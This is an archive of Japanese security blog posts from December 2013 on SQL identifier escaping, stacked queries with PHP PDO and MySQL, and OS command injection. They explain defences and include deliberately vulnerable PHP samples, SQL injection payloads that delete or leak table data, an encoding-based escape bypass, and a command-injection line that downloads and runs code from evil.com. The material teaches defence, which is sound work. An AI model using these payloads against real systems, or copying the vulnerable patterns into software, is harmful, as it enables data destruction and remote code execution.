2013年12月31日火曜日

今年のページビューランキング上位15を発表します

2013年も終わりですので、徳丸浩のブログの今年のページビューランキング上位15を発表します。
  1. ロリポップのサイト改ざん事件に学ぶシンボリックリンク攻撃の脅威と対策
  2. パスワードの定期的変更について徳丸さんに聞いてみた(1)
  3. イケダハヤトさんへの手紙 : 敵意ある他者との対話について
  4. ヤフー株式会社様に「秘密の質問と回答」に関して要望します
  5. そろそろSQLエスケープに関して一言いっとくか: SQLのエスケープ再考
  6. ロリポップ上のWordPressをWAFで防御する方法
  7. eBook Japanの発表資料に見るパスワードリスト攻撃の「恐ろしい成果」と対策
  8. Yahoo!ジャパンの「秘密の質問と答え」に関する注意喚起
  9. HTTPSを使ってもCookieの改変は防げないことを実験で試してみた
  10. パスワード攻撃に対抗するWebサイト側セキュリティ強化策
  11. SQLの暗黙の型変換はワナがいっぱい
  12. SQLインジェクションゴルフ - なんと3文字で認証回避が可能に
  13. 多発するWeb改ざんに備えてinotifywaitによる改ざん検知を導入した
  14. Evernoteのテキストを暗号化する方法
  15. IE10にはパスワード表示ボタンが付いている
ランキング入りしたエントリの分類をしてみました。まず、侵入事件関連のものがやはり関心を集めたようです。上記には、ロリポップ、Yahoo!ジャパン、Evernoteの侵入事件に関連したものがあります。

ロリポップ事件
1. ロリポップのサイト改ざん事件に学ぶシンボリックリンク攻撃の脅威と対策
6. ロリポップ上のWordPressをWAFで防御する方法
Yahoo!侵入事件
4. ヤフー株式会社様に「秘密の質問と回答」に関して要望します
8. Yahoo!ジャパンの「秘密の質問と答え」に関する注意喚起
Evernote暗号化(Evernoteへの侵入を受けて)
14. Evernoteのテキストを暗号化する方法
また、パスワードリスト攻撃の多発に伴い、パスワードネタも良く読まれました。
2. パスワードの定期的変更について徳丸さんに聞いてみた(1)
7. eBook Japanの発表資料に見るパスワードリスト攻撃の「恐ろしい成果」と対策
10. パスワード攻撃に対抗するWebサイト側セキュリティ強化策
15. IE10にはパスワード表示ボタンが付いている
改ざん事件の多発にともない、弊社サイトにinotifywaitを用いた改ざん検知を導入しました。これはリアルタイムの改ざん検知の仕組みですが、tripwireのオープンソース版も導入しています。
13. 多発するWeb改ざんに備えてinotifywaitによる改ざん検知を導入した
定番のSQLインジェクションネタ。5と11は古いネタですが、安定して読まれています。どちらも私にとって思い入れの深いエントリです。
5. そろそろSQLエスケープに関して一言いっとくか: SQLのエスケープ再考
11. SQLの暗黙の型変換はワナがいっぱい
12. SQLインジェクションゴルフ - なんと3文字で認証回避が可能に
セッション固定攻撃(Session Fixation Attack)に関連して、HTTPSを使っているとCookieの改変を受容しなければならず、セッション固定対策が必須になるというエントリもランクインしています。
9. HTTPSを使ってもCookieの改変は防げないことを実験で試してみた
イケダハヤトさんネタも関心を集めたようですw
3. イケダハヤトさんへの手紙 : 敵意ある他者との対話について
今年はみなさまに大変世話になりました。来年もよろしくお願いいたします。
それでは、みなさま、良いお年を。

2013年12月27日金曜日

SQL識別子は結局どうすればよいか

今まで2回にわたって、SQL識別子のエスケープの問題を取り上げました。
3回目となる本稿では、SQL識別子の取り扱いに関する問題を整理して、一般的な原則を導きたいと思います。

SQL文が動的に変化する場合のSQLインジェクション対策

「間違いだらけの…」で示したように、識別子エスケープが必要な局面でそれが洩れていると脆弱性の要因になることがありますが、それは外部から指定したデータにより、SQL文の構造が変化してしまい、アプリケーションの要件にないSQL呼び出しがなされてしまうからでした。
しかし、「間違いだらけ…」の後半で示したように、識別子のエスケープだけではセキュリティ問題を防ぐことはできず、情報漏洩を招いてしまいました。外部から任意のSQL識別子を指定できることが問題という結論でした。
上記のように、アプリケーションでのSQL文組み立てにおいては、以下を考慮する必要があります。
  • SQL文を構成するリテラル、識別子、予約語などを正しく構成する(条件A)
  • テーブルや列、行などの権限があることを保証する(条件B)
私が普段推奨しているSQLインジェクション対策は下記の通りですが…
  • 文字列連結でSQL文を組み立てるな(原則1)
  • パラメータはプレースホルダで指定せよ(原則2)
これらにより、SQL文は固定になるので、前記の条件Aと条件Bを満たしていることは容易に確認でき、外部からのパラメータにより変化させることはできなくなります。

しかし、アプリケーションの要件によっては、条件によりSQL文が変化する(例:検索条件が変わる、ソート列が変わる)などの理由で上記原則に沿えない場合もあります。その場合には、どうすれば確実にSQLインジェクションを防ぐことができるか、ということが一連の議論のテーマです。

識別子やリテラルのエスケープ処理はSQL文を変化させないことが目的

SQLの識別子やリテラルのエスケープ処理は、SQL文を正しく構成するために必要なSQLの基本文法ですが、SQLインジェクション対策としてエスケープ処理が必要になる場合がある理由は、エスケープ処理を怠ると、SQL文の構造が変わってしまう場合があるからです。

SQLリテラルのエスケープもれの例
$sql = "SELECT * FROM books WHERE author='$author'";
 上記に対して、$author = "'; delete from books#" とすると、以下のSQL文ができあがります。
SELECT * FROM books WHERE author=''; delete from books#'
第2のSQL文が追加されるという形で、SQL文の構造が変化しています。
一方、SQL識別子のエスケープ漏れの例(MySQLを想定)
$sql = "SELECT * FROM `$booktable`"
上記に対して、$booktable = "books`; delete from `books"とすると、以下のSQL文ができあがります。
SELECT * FROM `books`; delete from `books`
やはり、第2のSQL文が追加されるという形で、SQL文の構造が変化しています。

文字列リテラルや識別子のエスケープ処理を正しく行うと、SQL文の構造を変化させることはできなくなります。しかし、識別子に関しては、エスケープ処理だけでは条件Aは満たせますが、条件Bは通常満たせません。

SQL識別子に関しては「もっと良い方法」がある

そもそも、SQL識別子をエスケープ処理しなければならない局面は以下であると考えられます。
  • データベース管理ツールを作成していて、識別子はユーザ入力である(局面1)
  • アプリケーション内でテーブル名や列名をジェネレートしており、これらを構成する文字として引用符が使われる可能性がある(局面2)
局面1の典型例は、phpMyAdminやMySQL Workbenchを作成する場合ですが、これは識別子のエスケープ処理は必須ですね。しかし、この種のツールを作る人であれば、当然識別子のエスケープ処理くらいは知っているだろう…と思っていただけに、MySQL Workbenchの識別子のエスケープもれがあったことは驚きでした。しかし、前述のようのように、幸い重大な脆弱性とまでは言えません。データベース管理ツールを作る開発者はまれだと思われるので、この件は本稿ではこれ以上触れません。

局面2についてはですねぇ…「わざわざ、そんなややこしいことするな!」と言いたいですね。引用符どころか、識別子を構成する文字は英数字とアンダースコアに限定すればよいでしょう。加えて、識別子がSQLの予約語と衝突しないように工夫すれば、識別子をクォートする必要もありません。「予約語と衝突しない工夫」とは、例えば接頭辞(prefix)をつけることです。例えば、WordPressで用いるテーブルは標準でwp_という接頭辞がつきますが、wp_で始まるSQL予約語はないため、識別子が予約語と衝突しないことを保証できます。

識別子が正しく構成されることを保証する方法1: 入力値検証

とはいえ、識別子を構成する文字を英数字とアンダースコアに限定するだけでは、外部由来の文字列で組み立てた識別子が正しく構成されていることを保証できません。そのためのアプローチの一つとして、入力値検証による方法が考えられます。ここでは「入力値検証」という用語をプログラムの入り口で行うバリデーション(フォームバリデーション)という意味で用います。

例えば、「間違いだらけの…」に出て来たアプリケーションはテーブル名がtb1、tb2、tb3、tb4のいずれかなので、以下の正規表現で入力値を検証するという方法があります(正規表現では\Aと\zはそれぞれデータの先頭と末尾を示します)。
\Atb[1-4]\z
最初からこのチェックを入れておけば、識別子のクォートもエスケープも必要なく、利用者がアクセスできるテーブルも正しく制限できるのですが、この方法を紹介しなかったのは、理由があります。

「入力値検証」によるSQLインジェクション対策の課題

前述のように、入力値検証で、テーブル名がtb1、tb2、tb3、tb4のいずれかであることを検証すると、SQLインジェクションや権限外のテーブルへのアクセスは防げますが、入力値検証のみに頼った対策の場合、以下の課題があります。
  • 入力値検証とSQL文組み立てはソースコード上の場所が離れている場合が多く、確認がしにくい
  • 入力値検証と、組み立て後のSQL文の妥当性の関係が自明でない場合、仕様や実装の不備により脆弱性となりやすい
  • 入力値検証とSQL組み立ては担当者が異なる可能性があり、仕様理解に差異があると、脆弱性混入の原因になる
  • SQL文の妥当性は、SQL文組み立ての箇所で担保されるべきである
と言う理由から、入力値検証はアプリケーション要件として淡々と実装しつつ、SQL文の妥当性を保証する仕組みは、SQL文組み立てのところに組み込むべきであると考えます。

識別子が正しく構成されることを保証する方法2: 外部由来の値をSQL文に混ぜない

識別子が正しく構成されることを保証する(その結果SQLインジェクション脆弱性を防ぐ)方法の第2は、外部由来の値を直接SQL文中に混ぜないというものです。具体的には、(1)表名・列名は配列やハッシュに保持する、(2)if文やswitch文でハードコーディングする、(3)データベース上に辞書として保持するなどの実装が考えられますが、他の条件も含めて決めればよいでしょう。

表名や列名の候補が非常に多く、配列やハードコーディングで保持できない場合は、少し妥協して以下のような実装でもいいでしょう(推奨という程ではありません)。
$ident = sprintf("tb%03d", $n);
ただし、%d書式による数値化があるので安全なのであって、%s書式だと結局「外部由来の値をSQL文に混ぜている」ことになるので駄目です。

上記の方法でSQL文中の識別子を生成することにより、入力値検証にバグやもれがあっても、最悪SQLインジェクションは防げることになり、安全性が高い設計と言えます。さらに、条件Bとして説明した「権限のない表や列へのアクセスを防ぐ」こともあわせて実装されます(*1)。

なお、本稿では詳しく説明しませんが、SQL文中の予約語を指定する場合についても、同様の方法で安全に扱うことが可能です。

*1 ただし、複雑な認可処理はこれだけでは実現できないので、アプリケーションロジックによる認可の仕組みが必要です。

※ そもそも、表名や列名などの識別子は実装上の都合で決まる(決めて良い)ものであり、その名前を外部に露出することは好ましくない考えます。

蛇足: SQL識別子エスケープの困難性

現実問題として、SQLの識別子を正しくエスケープすることは難しい場合があります。一般に、SQLの(識別子ではなく)文字列リテラルのエスケープには、手作りのエスケープ関数を使わず、専用のAPIを呼び出すことが推奨されます(更に言えばプレースホルダを推奨しますが…)が、識別子のエスケープ用APIは、PHPのPostgres関数にはある(pg_escape_identifier関数。PHP5.4.4以降)ものの、他の言語やデータベースではあまり見かけません。
ということは、識別子のエスケープには手作りのエスケープ関数を使わなければならない可能性が高いわけですが、「間違いだらけの…」で指摘したような考慮点が多いため、その意味でもできるだけ避けるべきでしょう。

まとめ

SQLの識別子の扱いについて検討しました。
  • SQLの識別子に使う文字は、英数字とアンダースコアに限定する
  • 外部からの値から識別子を生成する場合は、表名の配列などを使用することにより、外部由来の値を識別子に(ひいてはSQL文に)混ぜないこと
  • SQL予約語についても同様に扱う
  • SQL文に指定する値はプレースホルダを用いる
上記の単純系が、冒頭にも紹介した初心者向けのガイドラインということになります。
  • 文字列連結でSQL文を組み立てるな
  • パラメータはプレースホルダで指定せよ
ということで、SQL識別子のエスケープは、SQLインジェクション対策という文脈では重要ではなく、むしろ、安全なSQL組み立ての方法を具体的に説明することが重要と考えます。


2013年12月26日木曜日

SQL識別子エスケープのバグの事例

昨日のエントリに続いてSQL識別子のエスケープの話題で、今回は著名アプリケーションにおけるSQL識別子のエスケープ処理のバグについてです。

MySQL Workbenchには識別子のエスケープに関するバグがあった

以下の画面は、MySQLが提供するMySQL Workbenchの旧バージョン(5.2.34)の様子です(CentOS6.5上で動作)。MySQL WorkbenchはWebアプリケーションではなく、下図からも分かるようにGUIツールです。

下図では a`b というテーブルの内容を表示しようとして、エラーが表示されています。


生成されているSQL文は下記の通りです。
SELECT * FROM `db`.`a`b`;
これは駄目ですね。SQL識別子中に引用符がある場合は、引用符を重ねるのがルールでした。つり、正しくは以下であるべきです。
SELECT * FROM `db`.`a``b`;
ということで、これはMySQL Workbench 5.2.34のバグですね。最新の6.0.8(Windows版)で確認したところ、テーブル名は正しくエスケープされていました。MySQL謹製のソフトで、まさか、識別子のエスケープを考慮していないなんてとびっくりしました。

識別子のエスケープ漏れによるSQLインジェクション

上記の例では、「b`」の部分が識別子から「あふれた」状態になっていてSQL文としては不正なためにエラーになっていますが、この部分のつじつまを合わせてやることで、SQLインジェクション攻撃(?)が可能になりそうです。
その具体例として、bbs.usersというテーブルがあったとして、その内容をUNION SELECTを用いて読み出してみましょう。できあがりのSQL文は下記を想定します。
SELECT * FROM `db`.`a`union select * from bbs.`users`;
これを実現するには、上記の赤字部分を名前とするテーブルを作ればよいことになります。テーブルの定義はどうでもよく、名前だけが問題ですので、例えば下記によりテーブルを作成します。ここでは、識別子中の「`」のエスケープをお忘れなく。
CREATE TABLE `a``union select * from bbs.``users` (x int);
次に、aというテーブルが必要です。bbs.usersと列の数と型を合わせて、以下によりテーブルaを作成します。
CREATE TABLE a  (x varchar(64), y varchar(64), z varchar(64));
ここまで準備をして、テーブル「a`union select * from bbs.`users」をMySQL Workbenchにて表示させると、このテーブルではなく、bbs.usersが表示されます(下図)。x, y, zとして、ID、パスワード、メールアドレスが表示されています。


SQL文の構造が変化しているので、SQLインジェクションの一種と言えそうですが、これが脆弱性かというと微妙なところです。利用者は元々 bbs.users を閲覧する権限があるからです(下図)。


MySQL Workbenchの識別子エスケープ漏れは脆弱性か?

ここで、このバグが脆弱性としてどの程度の影響度があるかについて検討します。前回のエントリでは、識別子のエスケープミスに起因して、SQLインジェクション攻撃によりデータの削除ができる例を示しましたが、SQLインジェクション攻撃によりデータの漏えいも可能でした。これらは、利用者が元々持っている権限を越えた操作ができることが問題でした。

一方、MySQL Workbenchの場合は、識別子のエスケープバグを使わなくても、利用者は元々任意のSQL文を実行できます。すなわち、わざわざSQLインジェクションというややこしいテクニックを使う動機が利用者にはありません。別の言い方をすると、「SQLインジェクション脆弱性があっても脅威は増加しない」ということです。このことから、MySQL Workbenchのエスケープバグは、重大な脆弱性とまでは言えない、と考えられます。

識別子のエスケープ漏れと脆弱性の関係

さて、私がMySQL Workbenchの識別子エスケープバグを紹介した理由は、識別子のエスケープバグと脆弱性の関係を整理する上で役に立つと考えたからです。

そもそも、SQL識別子のエスケープを意識しなければならないケースというのは、外部からSQL識別子(表名、列名など)を指定できるアプリケーションであると考えられます。そして、識別子を利用者が自由に指定できるか、識別子に関して制限があるかが問題になります。

利用者が識別子を自由に設定できるケースの典型例がデータベース管理ツール(phpMyAdminやMySQL Workbench等)であり、この場合は元々利用者が任意のSQL文を実行する権限を持っているので、仮にSQLインジェクションができたとしても、それ単独では重大な脆弱性とまでは言えません。

一方、利用者が自由にSQL識別子を指定できるが、利用者はDBに限定的なアクセス権しか与えられていないケースです。これは、前回紹介した「観光協会のホームページ」がそのケースに該当しますが、「自由にSQL識別子を指定できる」こと自体が問題という結論でした。

まとめ

SQL識別子のエスケープを考慮しなければならないケースの典型例として、DB管理ツールがありますが、DB管理ツールは利用者が任意のSQL文を実行できる権限があるため、SQLインジェクションが単体では重大な脆弱性とは言えません。一方、一般のアプリケーションにおいては、利用者は任意のSQL文を実行する権限がありませんが、この場合、利用者が自由にSQL識別子を指定できることが問題なのではないかと考えました。
次回は、この問題をさらに整理して、SQL識別子のエスケープをどのように考えればよいかを検討します。


2013年12月25日水曜日

間違いだらけのSQL識別子エスケープ

これから3回連載の予定で、SQL識別子のエスケープの問題について記事を書きます。SQL識別子のエスケープについてはあまり解説記事などがなく、エンジニア間で十分な合意がないような気がしますので、これらの記事が議論のきっかけになれば幸いです。
3回の予定は以下のとおりです。
ということで、まずはSQL識別子のエスケープの失敗例について説明します。この失敗例はあくまで説明のために作ったもので、実際のものではありません。また、想定が「ありえない」と思われるかもしれませんが、意図的なものですのでご容赦いただければと思います。また、「間違いだらけの」というタイトルは、今回の題材が間違いだらけという意味であり、巷のSQL呼び出しがそうであるという意味ではありません。本稿に登場する人物と団体は全て架空のものです。

SQL識別子のクォートとエスケープ

SQLの識別子(テーブル名や列名など)には、引用符で囲う形式と囲わない形式があります。以下のいずれかに該当する場合は、識別子を引用符(標準ではダブルクォート)で囲む必要があります。引用符で囲むことを「クォートする」と呼びます。
  • 識別子が予約語になっている場合(例: "table")
  • 識別子に記号が含まれる場合(例: "j&j")
  • 識別子が数字で始まる場合(例: "0x")
さらに、識別子中に引用符が含まれる場合は、引用符を重ねます(例: "x""y")。この引用符を重ねる処理を「識別子のエスケープ処理」と呼ぶことにします。
MySQLの場合は、デフォルトでは、ダブルクォートを文字列リテラルを囲む目的で使うため、識別子はバッククォートで囲みます。このため、先の例はそれぞれ、`table`、`j&j`、`x"y`、`0x`となります(ただし、MySQLは数字で始まる識別子を引用符で囲まなくてもエラーにならないようです)。識別子にバッククォートを含む場合は、`x``y`のようにバッククォートを重ねます。後述するように、ANSI_QUOTESモードを設定している場合は、ダブルクォートは識別子のクォートに使えるようになります。

脆弱なスクリプトの説明

ここで脆弱なスクリプトについて説明します。とある地域の観光協会では、春・夏・秋・冬の季節毎にホームページの表示を切り替えており、コンテンツは、それぞれtb1、tb2、tb3、tb4という季節毎のテーブルに格納されています。
このため、表示スクリプトは、season=tb1 のようにテーブル名を指定して、そのテーブルの内容を表示しています。スクリプトを以下に示します(注: このスクリプトには脆弱性があります)。
<?php
header('Content-Type: text/html; charset=Shift_JIS');
$table = $_GET['season'];
try {
  $db = new PDO("mysql:host=xxxxx;dbname=db;charset=sjis", "xxxx", "xxxx");
  $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
  $sql = "SELECT * FROM $table";
  $ps = $db->query($sql);
  // 検索結果の表示
} catch (Exception $e) {
  echo htmlspecialchars($e->getMessage(), ENT_COMPAT, 'Shift_JIS');
}
スクリプトの呼び出しは、http://example.jp/search.php?season=tb2 のように行います。この場合、呼び出されるSQL文は下記となります。
SELECT * FROM tb2

単純なSQLインジェクション

このスクリプトを運用してしばらくすると、コンテンツの内容が消去されるという不正アクセスが発生しました。アクセスログを調べると、以下のリクエストが原因のようです。
/search.php?season=tb2;delete+from+tb2
この際に生成されるSQL文は以下となります。
SELECT * FROM tb2;delete from tb2
SELECT文に続き、DELETE FROM文が追加されています。PDO+MySQLの場合、複文の実行が可能なので、テーブルtb2の内容は全て削除されてしまいました。

観光協会は地元のセキュリティ会社に相談したところ、テーブル名を`で囲むと良いとアドバイスを受けました。該当の箇所は下記となります。
  $sql = "SELECT * FROM `$table`";
この場合、左記の攻撃リクエストの結果生成されるSQL文は下記となります。
SELECT * FROM `tb2;delete from tb2`
`tb2;delete from tb2`がテーブル名として解釈されますが、この名前のテーブルは存在しないのでエラーにはなりますが、SQL文の構造は変化せず、SQLインジェクション攻撃は成立しなくなりました。

バッククォート「`」によるSQLインジェクション

観光協会はこの状態でしばらく運用をしていましたが、再度コンテンツが削除されるという不正アクセスがありました。今度は以下のリクエストが問題のようでした。
/search.php?season=tb2`;delete+from+tb2%23
tb2の後に「`」が追加されています。生成されるSQL文は下記の通りです。
SELECT * FROM `tb2`;delete from tb2#`
今度は、外部から注入された「`」で識別子の引用符が閉じられて、その後の文字列が追加のSQL文と解釈されていました(#以降はコメント)。
観光協会は再度地元のセキュリティ会社に相談に行くと、「識別子のエスケープをしていないのが原因だ。識別子のエスケープは世界の常識です。」と言われてしまいました。だったら先に教えてくれればいいのにとは思いましたが、識別子のエスケープの方法を教えてもらって、スクリプトに組み込みました。
// 識別子エスケープ関数
function escape_ident($id) {
  return preg_replace('/`/', '``', $id);
}
  // 中略
  $etable = escape_ident($table);
  $sql = "SELECT * FROM `$etable`";
この結果、生成されるSQL文は下記となります。
SELECT * FROM `tb2``;delete from tb2#`
バッククォート「`」が重ねられた結果、`tb2``;delete from tb2#`がテーブル名と解釈されるようになり、SQLインジェクション攻撃は防げるようになりました。

文字エンコーディングの取り扱い不備によるSQLインジェクション

観光協会のホームページはしばらく平穏な日々が続きましたが、またしてもデータが全て削除される事件が起こってしまいました。
今度の原因は次のリクエストのようでした。
search.php?season=%8d%60;delete+from+tb2%23
生成されたSQL文は下記の通りです。%8d%60 は、Shift_JISで「港」という文字になります。運の悪いことに、「港」という名前のテーブルが元々あったのです(わざとらしい想定スマソ)。
SELECT * FROM `港`;delete from tb2#`
港は良いとして、その後に「`」が追加されているのは、どうしてでしょうか?
その秘密は「港」の2バイト目の%60にあります。これ、実は、バッククォート「`」と同じコードなのです。preg_replaceの文字列置換の際に文字エンコーディングを考慮していないので、「港」の2バイト目を「`」と見なして、これを重ねる処理をしてしまったのでした。
地元のセキュリティ会社では、最初「文字エンコーディングのバリデーションががが」と言っていましたが、攻撃文字列はShift_JISとしてはバリッドでありバリデーションでは防御できないことがわかり、preg_replaceではなくmb_ereg_replaceを使ってエスケープ関数を書き換えました。
function escape_ident($id) {
  mb_regex_encoding('Shift_JIS');
  return mb_ereg_replace ('`', '``', $id);
}
また、バッククォート「`」は文字コードが0x60でShift_JISの2バイト目になることがあるため、予防的対策として、MySQLをANSI_QUOTESモードに設定して、識別子はダブルクォート「"」で囲むことにしました。
ANSI_QUOTESモードの設定は、my.cnfに以下を設定します。
sql-mode="ANSI"
これにあわせて、SQL文組み立ての式を以下のように変更しました。
$sql = "SELECT * FROM \"$etable\""
ダブルクォートの文字コードは0x22なので、Shift_JISの2バイト目に重なることはありません。

MySQLの設定考慮漏れに起因するSQLインジェクション

観光協会のホームページはしばらく平穏な日々が続きましたが、またしてもデータが全て削除される事件が起こってしまいました。
今度の原因は次のリクエストのようでした。
/search.php?season=tb2";delete+from+tb2%23
生成されたSQL文は下記の通りです。
SELECT * FROM "tb2";delete from tb2#"
識別子をダブルクォートで囲むように変更した際に、エスケープの対象文字もダブルクォートに変更しておかなければならなかったのですが、それを忘れていたのが原因でした。その変更を入れたところ、攻撃はできなくなりました。

任意テーブルの情報漏洩

観光協会のホームページはしばらく平穏な日々が続きましたが、今度はデータベースに保存された個人情報が漏えいするという事故が起こってしまいました。
今度の原因は次のリクエストのようでした。
/search.php?season=users
生成されたSQL文は下記の通りです。
SELECT * FROM "users"
usersというテーブルには、ホームページに会員登録したユーザーの個人情報が登録されています。単純な攻撃ですね。
観光協会は、あわててサイトをいったん閉鎖して、個人情報漏洩の告知など事後対処に追われました。

最終的にどうしたか

結局、任意のテーブル名を外部から指定できる実装に問題があるということになり、こちらの記事を参考にして、季節は1~4の番号で指定する仕様に変更しました。そうすると、テーブル名を引用符で囲むこともエスケープも不要になりました(下記)。アプリケーション内部で使用する文字エンコーディングがShift_JISであることもよくないので、UTF-8に変更しました(コードは省略します)。
$season_tables = array(1 => 'tb1', 2 => 'tb2', 3 => 'tb3', 4 => 'tb4');
$season = $_GET['season'];
if (! isset($season_tables[$season])) {
  die('invalid "season"');
}
$table = $season_tables[$season];
$sql = "SELECT * FROM $table";

とりあえずのまとめ

テーブル名を外部から指定できる実装のアプリケーションを題材として、SQL識別子の扱いを原因とするSQLインジェクション攻撃と、間違った対策例を紹介しました。具体的には下記の通りです。

  • 識別子のクォートもれ
  • 識別子のエスケープもれ
  • 識別子エスケープの際の文字エンコーディング対応不備
  • MySQLのANSI_QUOTESモードの考慮洩れ
  • 外部から指定するテーブル名の権限のチェック洩れ

本稿では、このアプリケーションの最終的な実装を示しましたが、一般論としてSQL識別子をどう扱うのが良いかについては、稿を改めて説明します…が、その前に、次回は、SQL識別子のエスケープもれによる不具合の実例を紹介します。

2013年12月21日土曜日

PHPだってシェル経由でないコマンド呼び出し機能が欲しい

このエントリはPHP Advent Calendar 2013 in Adventar の21日目です。

OSコマンドインジェクションとは

OSコマンドインジェクションという脆弱性があります。PHPから外部コマンドを呼んでいる場合に、意図したコマンドとは別のコマンドを外部から指定され、実行されてしまうものです。

下記のように、myprog をパラメータ指定で起動している場合で説明します。$paramはファイル名やメールアドレスなどを想定しています。
$param = $_GET['param'];
system("myprog $param");
$paramとして ; wget http://evil.com/bad.php ; php bad.php  を指定されると、system関数で実行するコマンドは下記となります。
myprog ; wget http://evil.com/bad.php ; php bad.php
; はシェルのメタ文字で、複数のコマンドを続けて実行するという意味なので、上記により、evil.comからbad.phpをダウンロード(*1)して、その後実行するという流れになります。

*1 evil.comではスクリプトをそのままダウンロードする設定と想定しています。

OSコマンドインジェクション脆弱性の対策

OSコマンドインジェクションは重大な脆弱性なので、以下のいずれかの対策をとります。
  • OSコマンドを呼ばずPHPの標準機能で何とかする
  • OSコマンドに対して、外部から変更できるパラメータを指定しない
  • OSコマンドに指定するパラメータを英数字に限定する
これら対策は多くの場合実施可能です。たとえば、sendmailコマンドでメール送信する場合は、オプション -t を使うと、コマンドパラメータに送信先メールアドレスを指定せずメールヘッダ中のto: cc: bcc:に指定されたメールアドレスに送信してくれます。メールメッセージは標準入力から読み込ませるようにすれば、sendmailに可変のパラメータを指定せずにメール送信できます。PHPの場合はpopen関数で標準入力が指定できます。それに、そもそもsendmailコマンドを使わずに、mb_send_mail関数でメール送信すればいいわけです。

しかし、どーーーーしても上記対策がとれない場合は、コマンドに指定するパラメータを安全な方法でエスケープすることになります。PHPにはこの目的の関数が2種類用意されています。escapeshellcmdescapeshellargです。しかし、escapeshellcmdの方は「使うな危険」状態(参照)ですので、escapeshellargの方を使うことになります。シェルのエスケープ関数の安全性については、拙著を書く時に調べて、そこで発見したescapeshellcmd関数の問題についてはブログに書きました。一方、escapeshellargは大丈夫そうでしたので、拙著では優先順位第4の方法として紹介しています。
私がコマンドパラメータのエスケープに慎重な理由は以下の通りです。
  • OSコマンドインジェクション脆弱性の影響が甚大である
  • シェルの文法の複雑性
  • シェルの仕様が環境依存である可能性
  • エスケープの際の文字エンコーディングの取り扱いに起因する問題の可能性
うーん、これらを見るとシェルが諸悪の根源のような気がしてきますね…そうなんです。実は、PHP以外の言語では、シェルを経由しないコマンド呼び出しの方法が用意されています。

コマンド呼び出しとシェル

PHPには複数のコマンド呼び出し関数がありますが、いずれもシェル経由でのコマンド呼び出しとなります(*2)。例えば、system関数からmypsという自作プログラムを以下のように呼び出す場合。
system('myps 10 ; pwd');
以下のように sh 経由でコマンドが実行されていることが分かります。
UID        PID  PPID  CMD
ockeghem 22244 20769  php system.php
ockeghem 22245 22244  sh -c cd '/home/ockeghem' ; myps 10 ; pwd
ockeghem 22246 22245  myps 10
最後の行に ; pwd が書いていませんが、これはmypsの終了後に別のコマンドとして実行されます。
一方、python3で以下のスクリプトを実行する場合。
import subprocess
subprocess.call(["myps", "10 ; pwd"])
以下のように、sh は起動されず、全てのパラメータはmypsの引数になります。すなわち、OSコマンドインジェクション脆弱性にはなりません。
UID        PID  PPID  CMD
ockeghem 22362 20769  python3 system.py
ockeghem 22363 22362  myps 10 ; pwd
また、perlやrubyを使う場合、system関数にてコマンドとパラメータを別に指定すると、shを経由しないでコマンドを実行します。
system('myps', '10 ; pwd');
また、JavaのRuntime#execやProcessBuilderによりコマンドを起動した場合もシェルを経由しません。このため、明示的にシェル起動にしない限り、OSコマンドインジェクションにはなりません。

まとめ

OSコマンドインジェクション脆弱性とシェルの関係について説明しました。OSコマンドインジェクションは、シェル経由でコマンド実行する際のパラメータ解釈を悪用した攻撃手法といえます。このため、外部からのパラメータをOSコマンドに渡さなければならない場合、以下の解決策があります。
  • シェルのパラメータを正しく構成する
  • シェルを経由しないでコマンドを起動する
シェルのパラメータを正しく構成する場合は、パラメータのエスケープが必要となりますが、それが完全であることの証明はなかなか難しいと言えます。このため、シェルを経由しないでコマンドを起動する機能があれば、そちらを利用することによりOSコマンドインジェクション脆弱性の心配がなくなります。
PHPにはシェルを経由しないコマンド機能がない(*2)ので、PHP好きとしては残念な気持ちになりますね。PHPコミッタのみなさま、PHP5.6の新機能として、シェルを経由しないコマンド呼び出しの機能を追加できませんか?

*2 例外として、pcntl_fork および pcntl_exec を使ってコマンドを呼び出すとシェル経由にはなりませんが、PCNTL関数の制限としてCGI版PHPを使わなければならないため、通常のWebアプリケーションで利用するのは現実的ではありません。

変更履歴(2013/12/21 19:20)

まとめを少し変更しました。全体の主張に変更はありません。

2013年12月16日月曜日

PHP+PDO+MySQLの組み合わせではSQLインジェクション攻撃で複文呼び出しが可能


基礎からのPHPという書籍を読んでおりましたら、SQLインジェクションの攻撃例として、以下のSQL文ができあがる例が紹介されていました。PHP+PDO+MySQLという組み合わせです。
SELECT * FROM tb2 WHERE ban=1;delete from tb2
2つのSQL文がセミコロンで区切って1つにまとめられていますが、これを「複文(multiple statement)」と言います。私は、SQLインジェクション攻撃の文脈で複文が使える組み合わせを調べたことがあり、PHPとMySQLという組み合わせでは、複文は使えないと思っていましたので、この攻撃は成立しないのではないかと思いました。
しかし、決めつけも良くないと思い手元の環境で動かしてみたところ、あっさり動くではありませんか。

PDOを用いてMySQLを呼び出す場合は複文が実行できると気づきましたが、なぜPDOの場合だけ複文が実行できるのかが気になりました。以前の調査の時はPHPのmysql関数により調査しましたが、mysqli(MySQL 改良版拡張モジュール)でも、複文は実行できません。mysqli::multi_queryを使っている場合は複文実行できますが、これはこのメソッドが複文実行を目的としたものなので、当然ですね。

ここで、検証用の環境を紹介します。まず下記のテーブルを準備します。表名や列名が変なのは、「基礎からのPHP」の踏襲ですのでご容赦ください。
CREATE TABLE tb2(ban int, nam varchar(30));
INSERT INTO tb2 VALUES(1, 'usagi');
次に検証用スクリプトですが、これも「基礎からのPHP」のサンプルを少し修正して使用しています。$bは外部から変更可能な変数とします。
<?php
$b = "1";
$db = new PDO("mysql:host=192.168.xx.xx;dbname=db;charset=utf8", "xxxx", "xxxx");
$ps = $db->query("SELECT * FROM tb2 WHERE ban=$b");
while ($row = $ps->fetch()) {
  echo $row[0] . " : " . $row[1] . "\n";
}
これを動かすと、下記の表示となります。
$ php pdo.php
1 : usagi
次に $b に攻撃用文字列を指定しましょう。先のPHPスクリプトの2行目を以下のように変更します。
$b = "1 or true;update tb2 set ban=ban+1";
SQLインジェクション攻撃の結果、呼び出されるSQL文は下記となります。
SELECT * FROM tb2 WHERE ban=1 or true;
update tb2 set ban=ban+1
第1のSQL文(SELECT)のWHERE句が、ban=1 or trueに変わっているので全件表示となります。第2のSQL文は、列banをインクリメントします。その結果、PHPスクリプト呼び出しの度に、数字が1ずつ増加します。
$ php pdo.php
1 : usagi
$ php pdo.php
2 : usagi
$ php pdo.php
3 : usagi
複文が動いていることは明らかですが、なぜ動くのかが疑問です。そこで、PHPとMySQLの通信をWiresharkでキャプチャしてみました。まずはクエリーのリクエストです。

